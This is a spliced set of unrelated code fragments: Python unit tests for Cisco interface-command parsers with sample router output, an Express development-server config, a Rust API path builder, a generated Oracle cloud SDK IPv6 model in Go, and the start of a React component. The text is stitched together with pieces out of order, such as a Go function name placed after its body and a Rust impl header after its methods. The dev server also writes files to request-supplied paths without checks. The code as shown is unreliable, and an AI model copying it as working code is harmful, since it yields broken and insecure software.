"10.1.1.1", "secondary": False, "broadcase_address": "255.255.255.255" }, "10.2.2.2/24": { "prefix_length": "24", "ip": "10.2.2.2",
}, }, "ip_access_violation_accounting": False, "ip_cef_switching": True, "unicast_routing_topologies": { "topology": { "base": { "status": "up" } }, }, 'wccp': { 'redirect_outbound': False, 'redirect_inbound': False, 'redirect_exclude': False, }, "ip_null_turbo_vector": True, "probe_proxy_name_replies": False, "ip_fast_switching": True, "ip_multicast_distributed_fast_switching": False, "tcp_ip_header_compression": False, "rtp_ip_header_compression": False, "directed_broadcast_forwarding": False, "ip_flow_switching": False, "input_features": ["MCI Check", "QoS Classification", "QoS Marking"], } } golden_output = {'execute.return_value': ''' Vlan211 is up, line protocol is up Internet address is 201.11.14.1/24 Broadcast address is 255.255.255.255 Address determined by configuration file MTU is 1500 bytes Helper address is not set Directed broadcast forwarding is disabled Outgoing Common access list is not set Outgoing access list is not set Inbound Common access list is not set Inbound access list is not set Proxy ARP is enabled Local Proxy ARP is disabled Security level is default Split horizon is enabled ICMP redirects are always sent ICMP unreachables are always sent ICMP mask replies are never sent IP fast switching is enabled IP Flow switching is disabled IP CEF switching is enabled IP CEF switching turbo vector IP Null turbo vector Associated unicast routing topologies: Topology "base", operation state is UP IP multicast fast switching is disabled IP multicast distributed fast switching is disabled IP route-cache flags are Fast, CEF Router Discovery is disabled IP output packet accounting is disabled IP access violation accounting is disabled TCP/IP header compression is disabled RTP/IP header compression is disabled Probe proxy name replies are disabled Policy routing is disabled Network address translation is disabled BGP Policy Mapping is disabled Input features: MCI Check GigabitEthernet0/0 is up, line protocol is up Internet address is 10.1.8.134/24 Broadcast address is 255.255.255.255 Address determined by setup command MTU is 1500 bytes Helper address is not set Directed broadcast forwarding is disabled Outgoing Common access list is not set Outgoing access list is not set Inbound Common access list is not set Inbound access list is not set Proxy ARP is enabled Local Proxy ARP is disabled Security level is default Split horizon is enabled ICMP redirects are always sent ICMP unreachables are always sent ICMP mask replies are never sent IP fast switching is enabled IP Flow switching is disabled IP CEF switching is enabled IP CEF switching turbo vector IP Null turbo vector VPN Routing/Forwarding "Mgmt-vrf" Associated unicast routing topologies: Topology "base", operation state is UP IP multicast fast switching is disabled IP multicast distributed fast switching is disabled IP route-cache flags are Fast, CEF Router Discovery is disabled IP output packet accounting is disabled IP access violation accounting is disabled TCP/IP header compression is disabled RTP/IP header compression is disabled Probe proxy name replies are disabled Policy routing is disabled Network address translation is disabled BGP Policy Mapping is disabled Input features: MCI Check GigabitEthernet1/0/1 is administratively down, line protocol is down Internet address is 10.1.1.1/24 Broadcast address is 255.255.255.255 Address determined by setup command MTU is 1500 bytes Helper address is not set Directed broadcast forwarding is disabled Secondary address 10.2.2.2/24 Outgoing Common access list is not set Outgoing access list is not set Inbound Common access list is not set Inbound access list is not set Proxy ARP is enabled Local Proxy ARP is disabled Security level is default Split horizon is enabled ICMP redirects are always sent ICMP unreachables are always sent ICMP mask replies are never sent IP fast switching is enabled IP Flow switching is disabled IP CEF switching is enabled IP CEF switching turbo vector IP Null turbo vector Associated unicast routing topologies: Topology "base", operation state is UP IP multicast fast switching is disabled IP multicast distributed fast switching is disabled IP route-cache flags are Fast, CEF Router Discovery is disabled IP output packet accounting is disabled IP access violation accounting is disabled TCP/IP header compression is disabled RTP/IP header compression is disabled Probe proxy name replies are disabled Policy routing is disabled Network address translation is disabled BGP Policy Mapping is disabled Input features: QoS Classification, QoS Marking, MCI Check IPv4 WCCP Redirect outbound is disabled IPv4 WCCP Redirect inbound is disabled IPv4 WCCP Redirect exclude is disabled GigabitEthernet2 is administratively down, line protocol is down Internet protocol processing disabled '''} golden_interface_output = {'execute.return_value':''' CE1#show ip interface GigabitEthernet1 GigabitEthernet1 is up, line protocol is up Internet address is 172.16.1.243/24 Broadcast address is 255.255.255.255 Address determined by DHCP MTU is 1500 bytes Helper address is not set Directed broadcast forwarding is disabled Outgoing Common access list is not set Outgoing access list is not set Inbound Common access list is not set Inbound access list is not set Proxy ARP is enabled Local Proxy ARP is disabled Security level is default Split horizon is enabled ICMP redirects are always sent ICMP unreachables are always sent ICMP mask replies are never sent IP fast switching is enabled IP Flow switching is disabled IP CEF switching is enabled IP CEF switching turbo vector IP Null turbo vector Associated unicast routing topologies: Topology "base", operation state is UP IP multicast fast switching is enabled IP multicast distributed fast switching is disabled IP route-cache flags are Fast, CEF Router Discovery is disabled IP output packet accounting is disabled IP access violation accounting is disabled TCP/IP header compression is disabled RTP/IP header compression is disabled Probe proxy name replies are disabled Policy routing is disabled Network address translation is disabled BGP Policy Mapping is disabled Input features: MCI Check IPv4 WCCP Redirect outbound is disabled IPv4 WCCP Redirect inbound is disabled IPv4 WCCP Redirect exclude is disabled ''' } golden_parsed_interface_output = { "GigabitEthernet1": { "ip_multicast_fast_switching": True, "oper_status": "up", "ip_output_packet_accounting": False, "address_determined_by": "DHCP", "rtp_ip_header_compression": False, "ip_multicast_distributed_fast_switching": False, "wccp": { "redirect_exclude": False, "redirect_outbound": False, "redirect_inbound": False }, "unicast_routing_topologies": { "topology": { "base": { "status": "up" } } }, "router_discovery": False, "tcp_ip_header_compression": False, "probe_proxy_name_replies": False, "local_proxy_arp": False, "policy_routing": False, "mtu": 1500, "icmp": { "mask_replies": "never sent", "unreachables": "always sent", "redirects": "always sent" }, "enabled": True, "ip_route_cache_flags": [ "CEF", "Fast" ], "ip_cef_switching": True, "ip_fast_switching": True, "sevurity_level": "default", "directed_broadcast_forwarding": False, "proxy_arp": True, "ip_null_turbo_vector": True, "network_address_translation": False, "input_features": [ "MCI Check" ], "bgp_policy_mapping": False, "split_horizon": True, "ip_access_violation_accounting": False, "ip_cef_switching_turbo_vector": True, "ipv4": { "172.16.1.243/24": { "ip": "172.16.1.243", "prefix_length": "24", "broadcase_address": "255.255.255.255", "secondary": False } }, "ip_flow_switching": False } } def test_empty(self): self.device = Mock(**self.empty_output) interface_obj = ShowIpInterface(device=self.device) with self.assertRaises(SchemaEmptyParserError): parsed_output = interface_obj.parse() def test_golden(self): self.device = Mock(**self.golden_output) interface_obj = ShowIpInterface(device=self.device) parsed_output = interface_obj.parse() self.maxDiff = None self.assertEqual(parsed_output,self.golden_parsed_output) def test_interface_golden(self): self.device = Mock(**self.golden_interface_output) interface_obj = ShowIpInterface(device=self.device) parsed_output = interface_obj.parse(interface='GigabitEthernet1') self.maxDiff = None self.assertEqual(parsed_output, self.golden_parsed_interface_output) ############################################################################# # unitest For show ipv6 interface ############################################################################# class test_show_ipv6_interface(unittest.TestCase): device = Device(name='aDevice') empty_output = {'execute.return_value': ''} golden_parsed_output = { "GigabitEthernet1/0/1": { "joined_group_addresses": [ "FF02::1" ], "ipv6": { "2001:DB8:2:2::2/64": { "ip": "2001:DB8:2:2::2", "prefix_length": "64", "status": "tentative" }, "2000::1/126": { "ip": "2000::1", "prefix_length": "126", "status": "tentative" }, "2001:DB8:1:1::1/64": { "ip": "2001:DB8:1:1::1", "prefix_length": "64", "status": "tentative" }, "2001:DB8:4:4:257:D2FF:FE28:1A64/64": { "ip": "2001:DB8:4:4:257:D2FF:FE28:1A64", "prefix_length": "64", "status": "tentative", "eui_64": True }, "2001:DB8:3:3::3/64": { "ip": "2001:DB8:3:3::3", "prefix_length": "64", "status": "tentative", "anycast": True }, "FE80::257:D2FF:FE28:1A64": { "ip": "FE80::257:D2FF:FE28:1A64", "status": "tentative", "origin": "link_layer", }, "enabled": True, "nd": { "dad_attempts": 1, "ns_retransmit_interval": 1000, "dad_enabled": True, "reachable_time": 30000, "using_time": 30000 }, "icmp": { "error_messages_limited": 100, "redirects": True, "unreachables": "sent" }, }, "oper_status": "down", "enabled": False, "mtu": 1500 }, "Vlan211": { "joined_group_addresses": [ "FF02::1", "FF02::1:FF14:1", "FF02::1:FF28:1A71" ], "ipv6": { "2001:10::14:1/112": { "ip": "2001:10::14:1", "prefix_length": "112", "status": "valid", 'autoconf': { 'preferred_lifetime': 604711, 'valid_lifetime': 2591911, }, }, "FE80::257:D2FF:FE28:1A71": { "ip": "FE80::257:D2FF:FE28:1A71", "status": "valid", "origin": "link_layer", }, "enabled": True, "nd": { "dad_attempts": 1, "ns_retransmit_interval": 1000, "dad_enabled": True, "reachable_time": 30000, "using_time": 30000 }, "icmp": { "error_messages_limited": 100, "redirects": True, "unreachables": "sent" }, }, "oper_status": "up", "enabled": True, "autoconf": True, "mtu": 1500 }, "GigabitEthernet3": { "enabled": True, "joined_group_addresses": [ "FF02::1", "FF02::1:FF1E:4F2", "FF02::2" ], "ipv6": { "enabled": False, "FE80::5054:FF:FE1E:4F2": { "ip": "FE80::5054:FF:FE1E:4F2", "status": "valid", "origin": "link_layer", }, "unnumbered": { "interface_ref": "Loopback0", }, "nd": { "dad_attempts": 1, "reachable_time": 30000, "using_time": 30000, "dad_enabled": True }, "icmp": { "unreachables": "sent", "redirects": True, "error_messages_limited": 100 }, "nd": { "dad_attempts": 1, "dad_enabled": True, "reachable_time": 30000, "using_time": 30000, "advertised_reachable_time": 0, "advertised_retransmit_interval": 0, "router_advertisements_interval": 200, "router_advertisements_live": 1800, "advertised_default_router_preference": 'Medium', "advertised_reachable_time_unspecified": True, "advertised_retransmit_interval_unspecified": True, }, }, "oper_status": "up", "mtu": 1500, "addresses_config_method": 'stateless autoconfig', } } golden_output = {'execute.return_value': ''' Vlan211 is up, line protocol is up IPv6 is enabled, link-local address is FE80::257:D2FF:FE28:1A71 No Virtual link-local address(es): Stateless address autoconfig enabled Global unicast address(es): 2001:10::14:1, subnet is 2001:10::14:0/112 valid lifetime 2591911 preferred lifetime 604711 Joined group address(es): FF02::1 FF02::1:FF14:1 FF02::1:FF28:1A71 MTU is 1500 bytes ICMP error messages limited to one every 100 milliseconds ICMP redirects are enabled ICMP unreachables are sent ND DAD is enabled, number of DAD attempts: 1 ND reachable time is 30000 milliseconds (using 30000) ND NS retransmit interval is 1000 milliseconds GigabitEthernet1/0/1 is administratively down, line protocol is down IPv6 is tentative, link-local address is FE80::257:D2FF:FE28:1A64 [TEN] No Virtual link-local address(es): Description: desc Global unicast address(es): 2000::1, subnet is 2000::/126 [TEN] 2001:DB8:1:1::1, subnet is 2001:DB8:1:1::/64 [TEN] 2001:DB8:2:2::2, subnet is 2001:DB8:2:2::/64 [TEN] 2001:DB8:3:3::3, subnet is 2001:DB8:3:3::/64 [ANY/TEN] 2001:DB8:4:4:257:D2FF:FE28:1A64, subnet is 2001:DB8:4:4::/64 [EUI/TEN] Joined group address(es): FF02::1 MTU is 1500 bytes ICMP error messages limited to one every 100 milliseconds ICMP redirects are enabled ICMP unreachables are sent ND DAD is enabled, number of DAD attempts: 1 ND reachable time is 30000 milliseconds (using 30000) ND NS retransmit interval is 1000 milliseconds GigabitEthernet3 is up, line protocol is up IPv6 is enabled, link-local address is FE80::5054:FF:FE1E:4F2 No Virtual link-local address(es): Interface is unnumbered. Using address of Loopback0 No global unicast address is configured Joined group address(es): FF02::1 FF02::2 FF02::1:FF1E:4F2 MTU is 1500 bytes ICMP error messages limited to one every 100 milliseconds ICMP redirects are enabled ICMP unreachables are sent ND DAD is enabled, number of DAD attempts: 1 ND reachable time is 30000 milliseconds (using 30000) ND advertised reachable time is 0 (unspecified) ND advertised retransmit interval is 0 (unspecified) ND router advertisements are sent every 200 seconds ND router advertisements live for 1800 seconds ND advertised default router preference is Medium Hosts use stateless autoconfig for addresses. '''} def test_empty(self): self.device = Mock(**self.empty_output) interface_obj = ShowIpv6Interface(device=self.device) with self.assertRaises(SchemaEmptyParserError): parsed_output = interface_obj.parse() def test_golden(self): self.device = Mock(**self.golden_output) interface_obj = ShowIpv6Interface(device=self.device) parsed_output = interface_obj.parse() self.maxDiff = None self.assertEqual(parsed_output,self.golden_parsed_output) ############################################################################# # unitest For show interfaces trunk ############################################################################# class test_show_interfaces_trunk(unittest.TestCase): device = Device(name='aDevice') empty_output = {'execute.return_value': ''} golden_parsed_output = { "interface": { "GigabitEthernet1/0/4": { "vlans_allowed_active_in_mgmt_domain": '200-211', "vlans_allowed_on_trunk": '200-211', "mode": "on", "native_vlan": "1", "status": "trunking", "vlans_in_stp_forwarding_not_pruned": '200-211', "name": "GigabitEthernet1/0/4", "encapsulation": "802.1q" }, "GigabitEthernet1/0/23": { "vlans_allowed_active_in_mgmt_domain": '200-211', "vlans_allowed_on_trunk": '200-211', "mode": "on", "native_vlan": "1", "status": "trunking", "vlans_in_stp_forwarding_not_pruned": '200-211', "name": "GigabitEthernet1/0/23", "encapsulation": "802.1q" }, "Port-channel12": { "vlans_allowed_active_in_mgmt_domain": '100-110', "vlans_allowed_on_trunk": '100-110', "mode": "on", "native_vlan": "1", "status": "trunking", "vlans_in_stp_forwarding_not_pruned": '100-110', "name": "Port-channel12", "encapsulation": "802.1q" }, "Port-channel14": { "vlans_allowed_active_in_mgmt_domain": '200-211, 300-302', "vlans_allowed_on_trunk": '200-211', "mode": "on", "native_vlan": "1", "status": "trunking", "vlans_in_stp_forwarding_not_pruned": '200-211', "name": "Port-channel14", "encapsulation": "802.1q" } } } golden_output = {'execute.return_value': ''' Port Mode Encapsulation Status Native vlan Gi1/0/4 on 802.1q trunking 1 Gi1/0/23 on 802.1q trunking 1 Po12 on 802.1q trunking 1 Po14 on 802.1q trunking 1 Port Vlans allowed on trunk Gi1/0/4 200-211 Gi1/0/23 200-211 Po12 100-110 Po14 200-211 Port Vlans allowed and active in management domain Gi1/0/4 200-211 Gi1/0/23 200-211 Po12 100-110 Po14 200-211, 300-302 Port Vlans in spanning tree forwarding state and not pruned Gi1/0/4 200-211 Gi1/0/23 200-211 Po12 100-110 Port Vlans in spanning tree forwarding state and not pruned Po14 200-211 '''} def test_empty(self): self.device = Mock(**self.empty_output) interface_obj = ShowInterfacesTrunk(device=self.device) with self.assertRaises(SchemaEmptyParserError): parsed_output = interface_obj.parse() def test_golden(self): self.device = Mock(**self.golden_output) interface_obj = ShowInterfacesTrunk(device=self.device) parsed_output = interface_obj.parse() self.assertEqual(parsed_output,self.golden_parsed_output) ############################################################################# # unitest For show interfaces <WORD> counters ############################################################################# class test_show_interfaces_counters(unittest.TestCase): device = Device(name='aDevice') empty_output = {'execute.return_value': ''} golden_parsed_output = { "interface": { "GigabitEthernet1/0/1": { "out": { "mcast_pkts": 188396, "bcast_pkts": 0, "ucast_pkts": 124435064, "name": "GigabitEthernet1/0/1", "octets": 24884341205 }, "in": { "mcast_pkts": 214513, "bcast_pkts": 0, "ucast_pkts": 15716712, "name": "GigabitEthernet1/0/1", "octets": 3161931167 } } } } golden_output = {'execute.return_value': ''' Port InOctets InUcastPkts InMcastPkts InBcastPkts Gi1/0/1 3161931167 15716712 214513 0 Port OutOctets OutUcastPkts OutMcastPkts OutBcastPkts Gi1/0/1 24884341205 124435064 188396 0 '''} def test_empty(self): self.device = Mock(**self.empty_output) interface_obj = ShowInterfacesCounters(device=self.device) with self.assertRaises(SchemaEmptyParserError): parsed_output = interface_obj.parse(interface='Gi1/0/1') def test_golden(self): self.device = Mock(**self.golden_output) interface_obj = ShowInterfacesCounters(device=self.device) parsed_output = interface_obj.parse(interface='GigabitEthernet1/0/1') self.assertEqual(parsed_output,self.golden_parsed_output) ############################################################################# # unitest For show interfaces <interface> accounting ############################################################################# class test_show_interfaces_accounting(unittest.TestCase): device = Device(name='aDevice') empty_output = {'execute.return_value': ''} golden_parsed_output = \ { "GigabitEthernet1": { "accounting": { "arp": { "chars_in": 4590030, "chars_out": 120, "pkts_in": 109280, "pkts_out": 2 }, "ip": { "chars_in": 2173570, "chars_out": 2167858, "pkts_in": 22150, "pkts_out": 22121 }, "ipv6": { "chars_in": 1944, "chars_out": 0, "pkts_in": 24, "pkts_out": 0 }, "other": { "chars_in": 5306164, "chars_out": 120, "pkts_in": 112674, "pkts_out": 2 } } }, "GigabitEthernet2": { "accounting": { "arp": { "chars_in": 5460, "chars_out": 5520, "pkts_in": 91, "pkts_out": 92 }, "ip": { "chars_in": 968690, "chars_out": 1148402, "pkts_in": 11745, "pkts_out": 10821 }, "ipv6": { "chars_in": 70, "chars_out": 0, "pkts_in": 1, "pkts_out": 0 }, "other": { "chars_in": 741524, "chars_out": 5520, "pkts_in": 3483, "pkts_out": 92 } } }, "GigabitEthernet3": { "accounting": { "arp": { "chars_in": 5460, "chars_out": 5520, "pkts_in": 91, "pkts_out": 92 }, "ip": { "chars_in": 1190691, "chars_out": 1376253, "pkts_in": 15271, "pkts_out": 14382 }, "ipv6": { "chars_in": 70, "chars_out": 0, "pkts_in": 1, "pkts_out": 0 }, "other": { "chars_in": 741524, "chars_out": 5520, "pkts_in": 3483, "pkts_out": 92 } } } } golden_output = {'execute.return_value': ''' show interface accounting GigabitEthernet1 Protocol Pkts In Chars In Pkts Out Chars Out Other 112674 5306164 2 120 IP 22150 2173570 22121 2167858 ARP 109280 4590030 2 120 IPv6 24 1944 0 0 GigabitEthernet2 Protocol Pkts In Chars In Pkts Out Chars Out Other 3483 741524 92 5520 IP 11745 968690 10821 1148402 ARP 91 5460 92 5520 IPv6 1 70 0 0 GigabitEthernet3 Protocol Pkts In Chars In Pkts Out Chars Out Other 3483 741524 92 5520 IP 15271 1190691 14382 1376253 ARP 91 5460 92 5520 IPv6 1 70 0 0 Loopback0 Protocol Pkts In Chars In Pkts Out Chars Out No traffic sent or received on this interface. Loopback1 Protocol Pkts In Chars In Pkts Out Chars Out No traffic sent or received on this interface. '''} def test_empty(self): self.device = Mock(**self.empty_output) obj = ShowInterfacesAccounting(device=self.device) with self.assertRaises(SchemaEmptyParserError): parsed_output = obj.parse() def test_golden(self): self.device = Mock(**self.golden_output) obj = ShowInterfacesAccounting(device=self.device) parsed_output = obj.parse() self.assertEqual(parsed_output,self.golden_parsed_output) if __name__ == '__main__': unittest.main()
"secondary": True
dev.server.js
/** * <p>Title : 本地服务</p> * <p>Description : 开发类服务工具</p> * <p>Date : 2018/10/8 </p> * * @author : hejie */ const http = require('http') const path = require('path') const fs = require('fs') const child_process = require('child_process') const bodyParser = require('body-parser') const express = require('express') const apiRoutes = express.Router() let appConfig = require('../src/appConfig') const menuPath = 'menu/tree.json' const createFile = function(filePath, fs, callback) { // 1、创建目录 createDir(filePath, fs) // 2、创建文件 const writeStream = fs.createWriteStream(filePath) if (callback) writeStream.on('close', callback) } const createDir = function(filePath, fs) { const sep = path.sep
const folders = path.dirname(filePath).split(sep) let p = '' while (folders.length) { p += folders.shift() + sep if (!fs.existsSync(p)) { fs.mkdirSync(p) } } } const getServerOption = function(_path) { const filePath = path.resolve(__dirname, '../src/appConfig.json') const data = JSON.parse(fs.readFileSync(filePath, { encoding: 'utf-8' })) const activeAPP = data[data.enable] const host = activeAPP['appUrl'].substring(7, activeAPP['appUrl'].indexOf(':', 7)) const port = activeAPP['appUrl'].substring(activeAPP['appUrl'].indexOf(':', 7) + 1, activeAPP['appUrl'].indexOf('/', 7)) return { host: host, port: port, path: '/' + activeAPP['code'] + _path, method: 'post', headers: { 'Content-Type': 'application/json' } } } module.exports = { appUrl: appConfig[appConfig.enable] ? appConfig[appConfig.enable].appUrl : 'http://localhost:8080/demo', before(app) { app.use('/', apiRoutes) // app.use(bodyParser.urlencoded({extended: true})) app.post('/getAppConfig', bodyParser.json(), (req, res) => { const filePath = path.resolve(__dirname, '../src/appConfig.json') const data = JSON.parse(fs.readFileSync(filePath, { encoding: 'utf-8' })) res.json(data) }) app.post('/activeApp', bodyParser.json(), (req, res) => { const filePath = path.resolve(__dirname, '../src/appConfig.json') const data = JSON.parse(fs.readFileSync(filePath, { encoding: 'utf-8' })) res.json(data[data.enable]) }) app.post('/setActive', bodyParser.json(), (req, res) => { const filePath = path.resolve(__dirname, '../src/appConfig.json') const data = JSON.parse(fs.readFileSync(filePath, { encoding: 'utf-8' })) data['enable'] = req.body.code const content = JSON.stringify(data, null, 2) fs.exists(filePath, function(exist) { if (!exist) createFile(filePath, fs) fs.writeFile(filePath, content, function(err) { if (err) { res.json({ status: false, msg: filePath + '保存失败' }) } appConfig = JSON.parse(content) res.json({ status: true, msg: '' }) }) }) }) app.post('/saveAppConfig', bodyParser.json(), (req, res) => { const filePath = path.resolve(__dirname, '../src/appConfig.json') const content = req.body.appConfig fs.exists(filePath, function(exist) { // 文件不存在,则创建文件 if (!exist) createFile(filePath, fs) // 写入内容 fs.writeFile(filePath, content, function(err) { if (err) { res.json({ status: false, msg: filePath + '保存失败' }) } appConfig = JSON.parse(content) res.json({ status: true, msg: '' }) }) }) }) app.post('/getMenu', bodyParser.json(), (req, res) => { const filePath = appConfig[appConfig.enable].baseDir + menuPath let result = { status: true } try { result.data = JSON.parse(fs.readFileSync(filePath, { encoding: 'utf-8' })) } catch (e) { result = { status: false, msg: filePath + '获取数据失败' } } res.json(result) }) app.post('/saveMenu', bodyParser.json(), (req, res) => { let filePath = appConfig[appConfig.enable].baseDir + menuPath let content = req.body.content if (req.body.create) { filePath = appConfig[appConfig.enable].baseDir + menuPath content = '[]' } fs.exists(filePath, function(exist) { // 文件不存在,则创建文件 if (!exist) createFile(filePath, fs) // 写入内容 console.error(content) fs.writeFile(filePath, content, function(err) { if (err) { res.json({ status: false, msg: filePath + 'menu保存失败' }) } res.json({ status: true, msg: '' }) }) }) }) app.post('/getJson', bodyParser.json(), (req, res) => { const filePath = appConfig[appConfig.enable].baseDir + req.body.jsonPath let result = { status: true } try { result.data = JSON.parse(fs.readFileSync(filePath, { encoding: 'utf-8' })) } catch (e) { result = { status: false, msg: filePath + '获取数据失败' } } res.json(result) }) app.post('/saveJson', bodyParser.json(), (req, res) => { const filePath = appConfig[appConfig.enable].baseDir + req.body.jsonPath const content = req.body.content fs.exists(filePath, function(exist) { // 文件不存在,则创建文件 if (!exist) createFile(filePath, fs) // 写入内容 fs.writeFile(filePath, content, function(err) { if (err) { res.json({ status: false, msg: filePath + '保存失败' }) } res.json({ status: true, msg: '' }) }) }) }) app.post('/generateScaffold', bodyParser.json(), (req, res) => { try { // 1、应用配置 const config = req.body const filePath = path.resolve(__dirname, '../src/appConfig.json') const data = JSON.parse(fs.readFileSync(filePath, { encoding: 'utf-8' })) if (data[config.code]) { res.json({ status: false, msg: config.code + ', 应用已存在。' }) return } data[config.code] = config // 2、copy工程样板 const projectDir = config.projectDir const appDir = projectDir + config.code + '/' const appScaffold = path.resolve(__dirname, '../scaffold/app') // 2.1、创建目标文件夹 createDir(appDir, fs) // 2.2、copy样板到目标文件夹 child_process.spawnSync('cp', ['-r', appScaffold, appDir]) // 2.3、修改配置 // 2.3.1、系统配置 const sysConfig = appDir + 'src/main/resources/config/application-app.yml' let src = fs.readFileSync(sysConfig, { encoding: 'utf-8' }) src = src.replace(/\${{code}}/g, config.code) src = src.replace(/\${{port}}/g, config.port) src = src.replace(/\${{appBizDir}}/g, config.appBizDir) fs.writeFileSync(sysConfig, src) // 2.3.2、mapper生成器 const gConfig = appDir + 'src/main/resources/generatorConfig.xml' let g_config = fs.readFileSync(gConfig, { encoding: 'utf-8' }) g_config = g_config.replace('${{appBizDir}}', config.appBizDir) fs.writeFileSync(gConfig, g_config) // 3、copy配置样板 const appBizDir = config.appBizDir const bizScaffold = path.resolve(__dirname, '../scaffold/biz') createDir(appBizDir, fs) child_process.spawnSync('cp', ['-r', bizScaffold, appBizDir]) const confFile = appBizDir + 'conf/' + config.code + '.yml' createFile(confFile, fs) // 4、copy开发数据样板 const baseDir = config.baseDir const dataScaffold = path.resolve(__dirname, '../scaffold/data') createDir(baseDir, fs) child_process.spawnSync('cp', ['-r', dataScaffold, baseDir]) // 5、保存应用配置 const content = JSON.stringify(data, null, 2) fs.exists(filePath, function(exist) { if (!exist) createFile(filePath, fs) fs.writeFile(filePath, content, function(err) { if (err) { res.json({ status: false, msg: filePath + '创建失败' }) } }) }) } catch (e) { console.error(e.message) res.json({ status: false, msg: '应用创建失败' }) } res.json({ status: true, msg: '' }) }) app.post('/api', bodyParser.json(), (req, resp) => { const _path = req.body['_path'] || '/' const iData = Object.assign({}, req.body) delete iData['_path'] const input = JSON.stringify(iData) let output = '' const options = getServerOption(_path) const connect = http.request(options, function(res) { res.setEncoding('utf8') res.on('data', function(chunk) { output += chunk }) res.on('end', function() { resp.json(JSON.parse(output)) }) }) connect.on('error', function(e) { console.error(e.message) }) connect.write(input) connect.end() }) } }
milestones.rs
pub mod milestone_public_id; pub use self::milestone_public_id::ClubhouseDeleteMilestoneMilestonePublicId; pub struct ClubhouseDeleteMilestone { pub(crate) path: burgundy::Path,
pub fn milestone_public_id( self, milestone_public_id: u64, ) -> self::milestone_public_id::ClubhouseDeleteMilestoneMilestonePublicId { self::milestone_public_id::ClubhouseDeleteMilestoneMilestonePublicId { path: self.path.push(&milestone_public_id), } } }
} impl ClubhouseDeleteMilestone {
ipv6.go
// Copyright (c) 2016, 2018, 2021, Oracle and/or its affiliates. All rights reserved. // This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. // Code generated. DO NOT EDIT. // Core Services API // // API covering the Networking (https://docs.cloud.oracle.com/iaas/Content/Network/Concepts/overview.htm), // Compute (https://docs.cloud.oracle.com/iaas/Content/Compute/Concepts/computeoverview.htm), // Block Volume (https://docs.cloud.oracle.com/iaas/Content/Block/Concepts/overview.htm), and // Registry (https://docs.cloud.oracle.com/iaas/Content/Registry/Concepts/registryoverview.htm) services. // Use this API to manage resources such as virtual cloud networks (VCNs), // compute instances, block storage volumes, and container images. // package core import ( "github.com/erikcai/oci-go-sdk/v33/common" ) // Ipv6 An *IPv6* is a conceptual term that refers to an IPv6 address and related properties. // The `IPv6` object is the API representation of an IPv6. // You can create and assign an IPv6 to any VNIC that is in an IPv6-enabled subnet in an // IPv6-enabled VCN. // **Note:** IPv6 addressing is currently supported only in certain regions. For important // details about IPv6 addressing in a VCN, see IPv6 Addresses (https://docs.cloud.oracle.com/Content/Network/Concepts/ipv6.htm). type Ipv6 struct { // The OCID (https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm) of the compartment containing the IPv6. // This is the same as the VNIC's compartment. CompartmentId *string `mandatory:"true" json:"compartmentId"` // A user-friendly name. Does not have to be unique, and it's changeable. Avoid // entering confidential information. DisplayName *string `mandatory:"true" json:"displayName"` // The OCID (https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm) of the IPv6. Id *string `mandatory:"true" json:"id"` // The IPv6 address of the `IPv6` object. The address is within the IPv6 CIDR block of the VNIC's subnet // (see the `ipv6CidrBlock` attribute for the Subnet object. // Example: `2001:0db8:0123:1111:abcd:ef01:2345:6789` IpAddress *string `mandatory:"true" json:"ipAddress"` // The IPv6's current state. LifecycleState Ipv6LifecycleStateEnum `mandatory:"true" json:"lifecycleState"` // The OCID (https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm) of the subnet the VNIC is in. SubnetId *string `mandatory:"true" json:"subnetId"` // The date and time the IPv6 was created, in the format defined by RFC3339 (https://tools.ietf.org/html/rfc3339). // Example: `2016-08-25T21:10:29.600Z` TimeCreated *common.SDKTime `mandatory:"true" json:"timeCreated"` // Defined tags for this resource. Each key is predefined and scoped to a // namespace. For more information, see Resource Tags (https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm). // Example: `{"Operations": {"CostCenter": "42"}}` DefinedTags map[string]map[string]interface{} `mandatory:"false" json:"definedTags"` // Free-form tags for this resource. Each tag is a simple key-value pair with no // predefined name, type, or namespace. For more information, see Resource Tags (https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm). // Example: `{"Department": "Finance"}` FreeformTags map[string]string `mandatory:"false" json:"freeformTags"` // The OCID (https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm) of the VNIC the IPv6 is assigned to. // The VNIC and IPv6 must be in the same subnet. VnicId *string `mandatory:"false" json:"vnicId"` } func (m Ipv6) String() string { return common.PointerString(m) } // Ipv6LifecycleStateEnum Enum with underlying type: string type Ipv6LifecycleStateEnum string // Set of constants representing the allowable values for Ipv6LifecycleStateEnum const ( Ipv6LifecycleStateProvisioning Ipv6LifecycleStateEnum = "PROVISIONING" Ipv6LifecycleStateAvailable Ipv6LifecycleStateEnum = "AVAILABLE" Ipv6LifecycleStateTerminating Ipv6LifecycleStateEnum = "TERMINATING" Ipv6LifecycleStateTerminated Ipv6LifecycleStateEnum = "TERMINATED" ) var mappingIpv6LifecycleState = map[string]Ipv6LifecycleStateEnum{ "PROVISIONING": Ipv6LifecycleStateProvisioning, "AVAILABLE": Ipv6LifecycleStateAvailable, "TERMINATING": Ipv6LifecycleStateTerminating, "TERMINATED": Ipv6LifecycleStateTerminated, } // GetIpv6LifecycleStateEnumValues Enumerates the set of values for Ipv6LifecycleStateEnum func
() []Ipv6LifecycleStateEnum { values := make([]Ipv6LifecycleStateEnum, 0) for _, v := range mappingIpv6LifecycleState { values = append(values, v) } return values }
GetIpv6LifecycleStateEnumValues
Device.js
import React, { Component } from 'react' import fecha from 'fecha' import Timeago from 'timeago.js' import Accessible from './Accessible' import Action from './Action' import './Device.css' import Config from './Config' const ta = new Timeago() let formatTime = function (t) { return ta.format(t) } let longFormatTime = function (t) { return fecha.format(new Date(t), 'dddd, MMMM Do YYYY [at] h:mm a') } class
